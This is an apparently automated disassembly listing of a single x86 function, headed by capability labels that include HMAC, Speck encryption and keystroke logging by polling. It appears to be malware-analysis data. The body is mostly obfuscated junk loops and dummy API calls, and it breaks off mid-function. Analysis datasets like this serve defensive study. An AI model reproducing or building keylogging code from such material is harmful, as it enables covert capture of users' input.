Function at 0x10029b4b
Capabilities:
Accept command line arguments
Authenticate hmac
Encrypt data using speck
Get common file path
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10064364
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1830
call fcn.1005fc30
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10034883
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0xf24], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xf14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xf1c], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xf2c], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0xfe0], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xd34], eax
mov eax, dword [ebp - 0xfe0]
movzx eax, byte [eax]
test eax, eax
je 0x10029bf7
mov eax, dword [ebp - 0xd34]
mov dword [ebp - 0xd3c], eax
mov eax, dword [ebp - 0xd3c]
mov dword [ebp - 0xd44], eax
mov eax, dword [ebp - 0xd44]
movzx eax, byte [eax]
test eax, eax
je 0x10029bf2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x10034881
mov eax, dword [ebp - 0xf14]
mov dword [ebp - 0xf10], eax
mov eax, dword [ebp - 0xf1c]
mov dword [ebp - 0xcac], eax
mov eax, dword [ebp - 0xf24]
mov dword [ebp - 0xafc], eax
mov eax, dword [ebp - 0xf2c]
mov dword [ebp - 0x4dc], eax
push 4
lea ecx, [ebp - 0x1210]
call fcn.1001b2e8
and dword [ebp - 4], 0
mov dword [ebp - 0xe4], 0xffffffff
mov dword [ebp - 0x404], 1
mov dword [ebp - 0x1340], 0x6ef6f0c3
mov dword [ebp - 0x131c], 0x7df2ddfd
push 0
push 0
push 0x2020
lea eax, [ebp - 0x1b8]
push eax
push 0x6b6a
lea eax, [ebp - 0x1210]
push eax
push 0x46db
call fcn.10039dc1
add esp, 0x1c
mov dword [ebp - 0x1b8], 0
jmp 0x10029ca2
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 4
jge 0x10029cbe
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0x1830], 0xd2e84cbf
jmp 0x10029c95
mov dword [ebp - 0xe4], 0
jmp 0x10029cd7
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 3
jg 0x1002a22a
mov dword [ebp - 0xf3c], 0xf6285890
mov dword [ebp - 0x460], 0x9642e40c
mov dword [ebp - 0xf54], 0
mov dword [ebp - 0x1544], 0
mov dword [ebp - 0x33c], 0
jmp 0x10029d25
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 1
jge 0x10029d41
mov eax, dword [ebp - 0x33c]
mov dword [ebp + eax*4 - 0x1324], 0x197cbb40
jmp 0x10029d18
mov dword [ebp - 0xb6c], 0x4628
mov dword [ebp - 0xf5c], 0x10009b68
cmp dword [ebp - 0xb6c], 0x49d4
jle 0x10029e82
and dword [ebp - 0x244], 0
jmp 0x10029d7b
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x4ed1
jge 0x10029e73
and dword [ebp - 0x344], 0
jmp 0x10029da1
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0xeb0
jge 0x10029e6e
and dword [ebp - 0x23c], 0
jmp 0x10029dc7
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x54b1
jge 0x10029e69
and dword [ebp - 0x43c], 0
jmp 0x10029ded
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0x2885
jge 0x10029e64
mov eax, dword [ebp - 0x23c]
cdq
idiv dword [ebp - 0x43c]
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0x344]
shl eax, cl
and eax, edx
cdq
mov dword [ebp - 0xd50], eax
mov dword [ebp - 0xd4c], edx
push dword [ebp - 0xd4c]
push dword [ebp - 0xd50]
lea ecx, [ebp - 0x1694]
call fcn.1000dafa
pop ecx
pop ecx
mov dword [ebp - 0xf34], eax
mov ecx, dword [ebp - 0xf34]
call fcn.1001b097
push eax
call fcn.1004e316
pop ecx
lea ecx, [ebp - 0x1694]
call fcn.1001b08d
jmp 0x10029de0
jmp 0x10029dba
jmp 0x10029d94
jmp 0x10029d6e
push 0x5f7
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov eax, dword [ebp - 0x460]
sub eax, dword [ebp - 0xe4]
imul eax, dword [ebp - 0x460]
cmp eax, 5
jne 0x10029ea6
mov dword [ebp - 0x75c], 1
jmp 0x10029ead
and dword [ebp - 0x75c], 0
cmp dword [ebp - 0x75c], 0
jne 0x10029ec2
mov dword [ebp - 0xb34], 1
jmp 0x10029ec9
and dword [ebp - 0xb34], 0
mov eax, dword [ebp - 0xf3c]
cmp eax, dword [ebp - 0xb34]
jge 0x10029ee3
mov dword [ebp - 0xb3c], 1
jmp 0x10029eea
and dword [ebp - 0xb3c], 0
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0xb3c]
jl 0x10029f04
mov dword [ebp - 0xb44], 1
jmp 0x10029f0b
and dword [ebp - 0xb44], 0
cmp dword [ebp - 0xb44], 0xe780ca9f
jne 0x10029f23
mov dword [ebp - 0xb4c], 1
jmp 0x10029f2a
and dword [ebp - 0xb4c], 0
mov eax, dword [ebp - 0xb4c]
sub eax, 0x3a4d1b40
imul esi, eax, 0x6d40
sub esi, dword [ebp - 0xe4]
push 0
lea ecx, [ebp - 0x1210]
call fcn.1001b386
sub esi, dword [eax]
jne 0x10029f5e
mov dword [ebp - 0xb54], 1
jmp 0x10029f65
and dword [ebp - 0xb54], 0
cmp dword [ebp - 0xb54], 0xf0442e11
jb 0x10029f7d
mov dword [ebp - 0xf44], 1
jmp 0x10029f84
and dword [ebp - 0xf44], 0
cmp dword [ebp - 0x460], 0x51978e60
jl 0x1002a18d
mov dword [ebp - 0x14a8], 0xfffffff9
push 3
lea ecx, [ebp - 0x13b8]
call fcn.1001b2e8
mov byte [ebp - 4], 1
mov dword [ebp - 0x132c], 0xf8fb6f85
mov dword [ebp - 0xb5c], 0x62cf9e8
mov dword [ebp - 0x24c], 0
jmp 0x10029fdc
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jge 0x10029ffb
push dword [ebp - 0x24c]
lea ecx, [ebp - 0x13b8]
call fcn.1001b386
and dword [eax], 0
jmp 0x10029fcf
mov dword [ebp - 0xb64], 0xb31
mov dword [ebp - 0xf4c], 0x10009bb8
cmp dword [ebp - 0xb64], 0xc73
jle 0x1002a112
push 0x2685
push 0xd2b
push 0x26cc
call dword [sym.imp.USER32.dll_SetClassLongA]
and dword [ebp - 0x34c], 0
jmp 0x1002a04a
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0x411b
jge 0x1002a112
and dword [ebp - 0x3c4], 0
jmp 0x1002a070
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0x218c
jge 0x1002a10d
and dword [ebp - 0x254], 0
jmp 0x1002a096
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x321a
jge 0x1002a108
and dword [ebp - 0x25c], 0
jmp 0x1002a0b8
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x14bb
jge 0x1002a106
mov eax, dword [ebp - 0x3c4]
imul eax, dword [ebp - 0x254]
mov ecx, dword [ebp - 0x34c]
sub ecx, eax
add ecx, dword [ebp - 0x25c]
mov eax, ecx
cdq
mov dword [ebp - 0xd5c], eax
mov dword [ebp - 0xd58], edx
push dword [ebp - 0xd58]
push dword [ebp - 0xd5c]
mov ecx, 0x1060d6f8
call fcn.1001b0b7
jmp 0x1002a0ab
jmp 0x1002a089
jmp 0x1002a063
jmp 0x1002a03d
mov eax, dword [ebp - 0xb5c]
dec eax
mov dword [ebp - 0xb5c], eax
mov byte [ebp - 4], 2
cmp dword [ebp - 0xb64], 0x803
jge 0x1002a13f
mov edx, dword [ebp - 0xf4c]
mov ecx, 0x1060d6f8
call fcn.1001d5c2
jmp 0x1002a15b
mov dword [ebp - 4], 1
jmp 0x1002a16b
push 0x86f
push 0
push 0
call fcn.10036feb
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x13b8]
call fcn.1001b36a
jmp 0x1002a1aa
push 0
push 0x4c25
push 0x75b6
push 0
lea eax, [ebp - 0xf54]
push eax
call fcn.10028fa3
add esp, 0x14
mov byte [ebp - 4], 4
cmp dword [ebp - 0xb6c], 0x43f9
jge 0x1002a1c6
push dword [ebp - 0xf5c]
call fcn.1004e316
pop ecx
jmp 0x1002a1e2
and dword [ebp - 4], 0
jmp 0x1002a1ec
mov dword [ebp - 0x404], 0
jmp 0x1002a205
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 3
jg 0x1002a225
mov dword [ebp - 0xf64], 0x1e52
cmp dword [ebp - 0xf64], 0
je 0x1002a223
jmp 0x1002a225
jmp 0x1002a1f8
jmp 0x10029cca
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1210]
call fcn.1001b36a
mov dword [ebp - 0x164], 0xfff7
mov dword [ebp - 0x228], 0xc657e3b6
mov dword [ebp - 0x880], 0xad81
mov dword [ebp - 0x888], 0
mov dword [ebp - 0x45c], 0xffffffff
mov dword [ebp - 0x1e8], 3
mov dword [ebp - 0xf6c], 0xfe9f4864
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x1538], eax
mov dword [ebp - 0x228], 1
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x1334], eax
mov eax, dword [ebp - 0x880]
mov dword [ebp - 0x14b8], eax
mov eax, dword [ebp - 0x164]
add eax, dword [ebp - 0x888]
cmp eax, dword [ebp - 0x164]
jl 0x1002a2cd
mov dword [ebp - 0xb74], 1
jmp 0x1002a2d4
and dword [ebp - 0xb74], 0
cmp dword [ebp - 0xb74], 0x76270e7a
jle 0x1002a2ec
mov dword [ebp - 0xb04], 1
jmp 0x1002a2f3
and dword [ebp - 0xb04], 0
mov eax, dword [ebp - 0xb04]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x228], 0
je 0x1002a31d
cmp dword [ebp - 0x880], 0
jne 0x1002a324
cmp dword [ebp - 0x164], 0
xor eax, eax
inc eax
cmp eax, 0x7c422d5f
ja 0x1002a33a
mov dword [ebp - 0x558], 1
jmp 0x1002a341
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x558], eax
je 0x1002a35b
mov dword [ebp - 0xa18], 1
jmp 0x1002a362
and dword [ebp - 0xa18], 0
mov eax, dword [ebp - 0xa18]
sub eax, 0x39281c1d
cmp eax, dword [ebp - 0x164]
jle 0x1002a381
mov dword [ebp - 0x560], 1
jmp 0x1002a388
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0xf6c], eax
mov dword [ebp - 0x1e8], 0x16
jmp 0x1002a3ad
mov eax, dword [ebp - 0x1e8]
dec eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0xfffffff3
jge 0x1002a420
mov dword [ebp - 0xf7c], 0
mov dword [ebp - 0xf74], 0xfffffffb
mov byte [ebp - 0x14a], 0
push 0x496e
push 0
lea eax, [ebp - 0x14a]
push eax
push 0x2221
call fcn.10044aa0
add esp, 0x10
lea eax, [ebp - 0x888]
push eax
lea eax, [ebp - 0xf74]
push eax
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x45c]
push eax
push 0
push 0x15f1
lea eax, [ebp - 0xf7c]
push eax
call fcn.1003c018
add esp, 0x1c
jmp 0x1002a3a0
mov dword [ebp - 0x133c], 0xf01c0890
mov byte [ebp - 0xe5], 0
lea eax, [ebp - 0xe5]
push eax
push 0x4aeb
push 0
push 0
push 0x7ad
push 1
call fcn.100371c0
add esp, 0x18
mov byte [ebp - 0x147], 0
movzx eax, byte [ebp - 0x147]
test eax, eax
je 0x1002a470
push 0x445d
push 0
call fcn.1004671a
pop ecx
pop ecx
push 4
lea ecx, [ebp - 0x11bc]
call fcn.1001b2e8
mov dword [ebp - 4], 6
mov dword [ebp - 0x1104], 0x198a
mov dword [ebp - 0x1100], 0x198a
mov dword [ebp - 0x10fc], 0x198a
mov dword [ebp - 0x10f8], 0x198a
lea ecx, [ebp - 0x4e1]
call fcn.1001b395
push eax
lea eax, [ebp - 0x10f4]
push eax
lea eax, [ebp - 0x1104]
push eax
lea ecx, [ebp - 0x1614]
call fcn.1001b398
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x15d0]
call fcn.1001b344
mov dword [ebp - 0x568], 0xffffffff
mov dword [ebp - 0x90], 0
jmp 0x1002a504
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jge 0x1002a520
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0xbd4], 0x885c6f1b
jmp 0x1002a4f7
mov dword [ebp - 0x90], 0
jmp 0x1002a539
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x1002a555
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x14dc], 0xbcef054a
jmp 0x1002a52c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xbd4], 3
jmp 0x1002a583
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbd4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xbd4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbd4], 0
jl 0x1002a5c0
mov dword [ebp - 0x1344], 0xffffffff
mov dword [ebp - 0x14c8], 0x693e932
mov dword [ebp - 0x134c], 0x9d692360
mov eax, dword [ebp - 0x568]
dec eax
mov dword [ebp - 0x568], eax
jmp 0x1002a568
lea ecx, [ebp - 0x15d0]
call fcn.1001b36a
mov dword [ebp - 0xec], 0xffffffff
mov dword [ebp - 0xb98], 0x636f
mov dword [ebp - 0xf8c], 0x10009c88
cmp dword [ebp - 0xb98], 0x66ce
jle 0x1002a702
and dword [ebp - 0x264], 0
jmp 0x1002a60f
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x2e96
jge 0x1002a702
and dword [ebp - 0x354], 0
jmp 0x1002a635
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0xf88
jge 0x1002a6fd
and dword [ebp - 0x26c], 0
jmp 0x1002a65b
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x5ad0
jge 0x1002a6f8
and dword [ebp - 0x3cc], 0
jmp 0x1002a681
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0x40cd
jge 0x1002a6f3
mov eax, dword [ebp - 0x264]
cdq
idiv dword [ebp - 0x354]
add edx, dword [ebp - 0x26c]
xor edx, dword [ebp - 0x3cc]
mov eax, edx
cdq
mov dword [ebp - 0xd68], eax
mov dword [ebp - 0xd64], edx
push dword [ebp - 0xd64]
push dword [ebp - 0xd68]
lea ecx, [ebp - 0x17a8]
call fcn.1000dafa
pop ecx
pop ecx
mov dword [ebp - 0xf84], eax
mov ecx, dword [ebp - 0xf84]
call fcn.1001b097
push eax
call fcn.1004e316
pop ecx
lea ecx, [ebp - 0x17a8]
call fcn.1001b08d
jmp 0x1002a674
jmp 0x1002a64e
jmp 0x1002a628
jmp 0x1002a602
mov byte [ebp - 4], 7
cmp dword [ebp - 0xb98], 0x5fd0
jge 0x1002a71e
push dword [ebp - 0xf8c]
call fcn.1004e316
pop ecx
jmp 0x1002a73a
mov dword [ebp - 4], 6
jmp 0x1002a74a
mov dword [ebp - 0x74], 0xffffffff
mov dword [ebp - 0x74], 2
jmp 0x1002a761
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xffffffea
jg 0x1002ab1a
push 1
lea ecx, [ebp - 0xb84]
call fcn.1001b2e8
mov byte [ebp - 4], 9
mov dword [ebp - 0xae8], 0xfffffff7
push 0
lea eax, [ebp - 0xb84]
push eax
lea eax, [ebp - 0x14e4]
push eax
push 1
push 0x5ffe
call fcn.10028fa3
add esp, 0x14
mov dword [ebp - 0x570], 0x2002
mov dword [ebp - 0xf9c], 0x10009cd8
cmp dword [ebp - 0x570], 0x210e
jle 0x1002a86a
and dword [ebp - 0x274], 0
jmp 0x1002a7df
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x5b75
jge 0x1002a86a
and dword [ebp - 0x35c], 0
jmp 0x1002a801
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x15a8
jge 0x1002a865
mov eax, dword [ebp - 0x274]
imul eax, dword [ebp - 0x35c]
cdq
mov dword [ebp - 0xd74], eax
mov dword [ebp - 0xd70], edx
push dword [ebp - 0xd70]
push dword [ebp - 0xd74]
lea ecx, [ebp - 0x1754]
call fcn.1000dafa
pop ecx
pop ecx
mov dword [ebp - 0xf94], eax
mov ecx, dword [ebp - 0xf94]
call fcn.1001b097
push eax
call fcn.1004e316
pop ecx
lea ecx, [ebp - 0x1754]
call fcn.1001b08d
jmp 0x1002a7f4
jmp 0x1002a7d2
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x570], 0x1c6d
jge 0x1002a886
push dword [ebp - 0xf9c]
call fcn.1004e316
pop ecx
jmp 0x1002a8a2
mov dword [ebp - 4], 9
jmp 0x1002a8b2
push 0
lea ecx, [ebp - 0xb84]
call fcn.1001b386
mov dword [eax], 0xfffffff5
jmp 0x1002a8eb
push 0
lea ecx, [ebp - 0xb84]
call fcn.1001b386
mov dword [ebp - 0x890], eax
mov eax, dword [ebp - 0x890]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x890]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xb84]
call fcn.1001b386
cmp dword [eax], 0xfffffff0
jne 0x1002ab06
mov dword [ebp - 0x16c], 0x3c891c55
push 3
lea ecx, [ebp - 0x11c8]
call fcn.1001b2e8
mov byte [ebp - 4], 0xc
push 0x7a19
push 0x60e5
push 0x7351
lea eax, [ebp - 0x1354]
push eax
push 0
push 0x41fa
push 0x6add
lea eax, [ebp - 0x11c8]
push eax
push 0
push 1
push 0x49d6
call fcn.10028997
add esp, 0x2c
mov dword [ebp - 0x16c], 0
jmp 0x1002a96f
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x12
je 0x1002aaf2
mov dword [ebp - 0xfd8], 3
mov dword [ebp - 0x27c], 0
jmp 0x1002a99f
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 1
jge 0x1002a9bb
mov eax, dword [ebp - 0x27c]
mov dword [ebp + eax*4 - 0xc10], 0xaed1d25b
jmp 0x1002a992
push 0
push 0x4dfe
call fcn.100455db
pop ecx
pop ecx
push 0
lea ecx, [ebp - 0xb84]
call fcn.1001b386
push 0
lea ecx, [ebp - 0xb84]
call fcn.1001b386
mov eax, dword [eax]
neg eax
je 0x1002aa07
push 2
lea ecx, [ebp - 0x11c8]
call fcn.1001b386
cmp dword [eax], 0
je 0x1002aa07
mov dword [ebp - 0x578], 1
jmp 0x1002aa0e
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x16c]
cmp eax, dword [ebp - 0x578]
jle 0x1002aa28
mov dword [ebp - 0xa20], 1
jmp 0x1002aa2f
and dword [ebp - 0xa20], 0
cmp dword [ebp - 0xa20], 0x4039
jne 0x1002aa47
mov dword [ebp - 0x580], 1
jmp 0x1002aa4e
and dword [ebp - 0x580], 0
push 0
lea ecx, [ebp - 0xb84]
call fcn.1001b386
mov eax, dword [eax]
cmp eax, dword [ebp - 0x580]
jge 0x1002aa71
mov dword [ebp - 0x898], 1
jmp 0x1002aa78
and dword [ebp - 0x898], 0
imul eax, dword [ebp - 0x898], 0x491b
cmp eax, dword [ebp - 0xfd8]
je 0x1002aa96
mov dword [ebp - 0x588], 1
jmp 0x1002aa9d
and dword [ebp - 0x588], 0
cmp dword [ebp - 0x588], 0x3b1dab55
je 0x1002aab5
mov dword [ebp - 0xd2c], 1
jmp 0x1002aabc
and dword [ebp - 0xd2c], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x14d8], eax
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x135c], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xae8], eax
mov eax, dword [ebp - 0xae8]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xc10], eax
jmp 0x1002a962
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x11c8]
call fcn.1001b36a
jmp 0x1002a8c7
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb84]
call fcn.1001b36a
jmp 0x1002a75a
mov dword [ebp - 0x74], 0xffffffef
jmp 0x1002ab2a
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xffffffed
je 0x1002ab60
mov dword [ebp - 0x590], 3
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
mov byte [ebp - 0xed], 0
lea eax, [ebp - 0xed]
push eax
push 0
call fcn.10045a58
pop ecx
pop ecx
jmp 0x1002ab23
mov dword [ebp - 0x3b4], 1
mov dword [ebp - 0x598], 0xafd94fe5
mov dword [ebp - 0x8a0], 0x1bca9d69
mov dword [ebp - 0xe80], 0x4b03e386
mov dword [ebp - 0xc18], 3
push 0x2b41
push 0
push 0x6f8f
call fcn.100461ac
add esp, 0xc
cmp dword [ebp - 0x598], 0
je 0x1002abc7
cmp dword [ebp - 0x8a0], 0x1303
jge 0x1002abc7
mov dword [ebp - 0x5a0], 1
jmp 0x1002abce
and dword [ebp - 0x5a0], 0
cmp dword [ebp - 0xe80], 0
jne 0x1002abe0
cmp dword [ebp - 0x8a0], 0
je 0x1002abf3
push 9
pop eax
test eax, eax
je 0x1002abf3
mov dword [ebp - 0xa28], 1
jmp 0x1002abfa
and dword [ebp - 0xa28], 0
mov eax, dword [ebp - 0x598]
cmp dword [ebp - 0xa28], eax
je 0x1002ac14
mov dword [ebp - 0x8a8], 1
jmp 0x1002ac1b
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x5a0]
imul eax, dword [ebp - 0x8a8]
test eax, eax
jne 0x1002ac3a
or eax, 0xffffffff
jne 0x1002ac3a
and dword [ebp - 0x5a8], 0
jmp 0x1002ac44
mov dword [ebp - 0x5a8], 1
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0xc18], eax
mov dword [ebp - 0x14ec], 0x6ef6f0c3
mov dword [ebp - 0x1364], 0x7df2ddfd
mov dword [ebp - 0x424], 0xb26bdde0
mov dword [ebp - 0x424], 0
jmp 0x1002ac87
mov eax, dword [ebp - 0x424]
dec eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0xffffffee
jl 0x1002ae41
mov dword [ebp - 0xb8], 1
push 2
lea ecx, [ebp - 0x1010]
call fcn.1001b2e8
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x1010]
push eax
push 0x7e1e
push 0
push 0x44a5
push 0xcda
lea eax, [ebp - 0x14f4]
push eax
call fcn.100362b8
add esp, 0x18
mov dword [ebp - 0xb8], 0xfffffff8
jmp 0x1002acef
mov eax, dword [ebp - 0xb8]
dec eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0xffffffe9
je 0x1002ad2c
mov byte [ebp - 0x149], 0
movzx eax, byte [ebp - 0x149]
test eax, eax
je 0x1002ad2a
push 0x3fc1
push 0
push 0x2bc5
push 0x266c
push 0
push 0x6fbb
call fcn.1002852d
add esp, 0x18
jmp 0x1002ace2
mov dword [ebp - 0xb8], 0
jmp 0x1002ad45
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 1
jg 0x1002ae2d
push 2
lea ecx, [ebp - 0x1228]
call fcn.1001b2e8
mov byte [ebp - 4], 0xe
mov dword [ebp - 0xefc], 0
mov dword [ebp - 0x284], 0
jmp 0x1002ad86
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 2
jge 0x1002ada8
push dword [ebp - 0x284]
lea ecx, [ebp - 0x1228]
call fcn.1001b386
mov dword [eax], 0x88146cde
jmp 0x1002ad79
push 0x5fa4
push 0
lea eax, [ebp - 0x1010]
push eax
push 0
lea eax, [ebp - 0x1228]
push eax
push 0x6f8b
push 1
call fcn.100299f5
add esp, 0x1c
lea eax, [ebp - 0xb8]
push eax
push 0
push 0x508e
push 0x6352
lea eax, [ebp - 0x1010]
push eax
push 0x497c
push 0x1a0d
push 0x7217
push 0x6e99
push 0
push 0x4dd1
push 1
push 0x2f72
lea eax, [ebp - 0xefc]
push eax
call fcn.1003a7e6
add esp, 0x38
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1228]
call fcn.1001b36a
jmp 0x1002ad38
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1010]
call fcn.1001b36a
jmp 0x1002ac7a
mov dword [ebp - 0xc8], 0xf89b546
mov dword [ebp - 0x364], 0
jmp 0x1002ae64
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 3
jge 0x1002ae80
mov eax, dword [ebp - 0x364]
mov dword [ebp + eax*4 - 0x1700], 0x85f70ad6
jmp 0x1002ae57
mov dword [ebp - 0xc8], 0
jmp 0x1002ae99
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 2
jg 0x1002aeef
mov dword [ebp - 0x136c], 0xffffffff
mov dword [ebp - 0xc20], 0xc874
push 0
lea eax, [ebp - 0xc20]
push eax
push 0x1589
push 0x3878
call fcn.10035d92
add esp, 0x10
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x1002aeed
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
jmp 0x1002ae8c
mov dword [ebp - 0xc8], 0xffffffe5
jmp 0x1002af08
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0xffffffe7
je 0x1002afad
mov dword [ebp - 0x198], 0xeff3
push 0
lea eax, [ebp - 0x198]
push eax
call fcn.1003b721
pop ecx
pop ecx
mov dword [ebp - 0x198], 0
jmp 0x1002af48
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x16
jl 0x1002afa8
push 0x4ad6
push 0x52b8
push 0
push 0x5ba3
push 0
push 0x2103
call fcn.1003c80c
add esp, 0x18
mov byte [ebp - 0x14b], 0
movzx eax, byte [ebp - 0x14b]
test eax, eax
je 0x1002afa6
push 0x4e82
push 0x734b
push 0x2d36
push 0
push 0x5ec1
push 0x5a94
call fcn.100406ba
add esp, 0x18
jmp 0x1002af3b
jmp 0x1002aefb
mov dword [ebp - 0x98], 0
jmp 0x1002afc6
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 4
jge 0x1002afe8
push dword [ebp - 0x98]
lea ecx, [ebp - 0x11bc]
call fcn.1001b386
mov dword [eax], 1
jmp 0x1002afb9
mov dword [ebp - 0x98], 0
jmp 0x1002b001
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 4
jge 0x1002b01d
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x1840], 0xd2e84cbf
jmp 0x1002aff4
mov dword [ebp - 0xec], 0
jmp 0x1002b036
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 3
jg 0x1002e8e8
mov dword [ebp - 0x17c], 0xffffffff
mov dword [ebp - 0x174], 0xffffffff
mov dword [ebp - 0x28c], 0x90f9986e
mov dword [ebp - 0xa30], 8
mov dword [ebp - 0xe8c], 0x2a77
mov dword [ebp - 0xc4], 0
jmp 0x1002b08e
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 3
jge 0x1002b0aa
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x15dc], 0xffffffff
jmp 0x1002b081
mov dword [ebp - 0xc4], 0
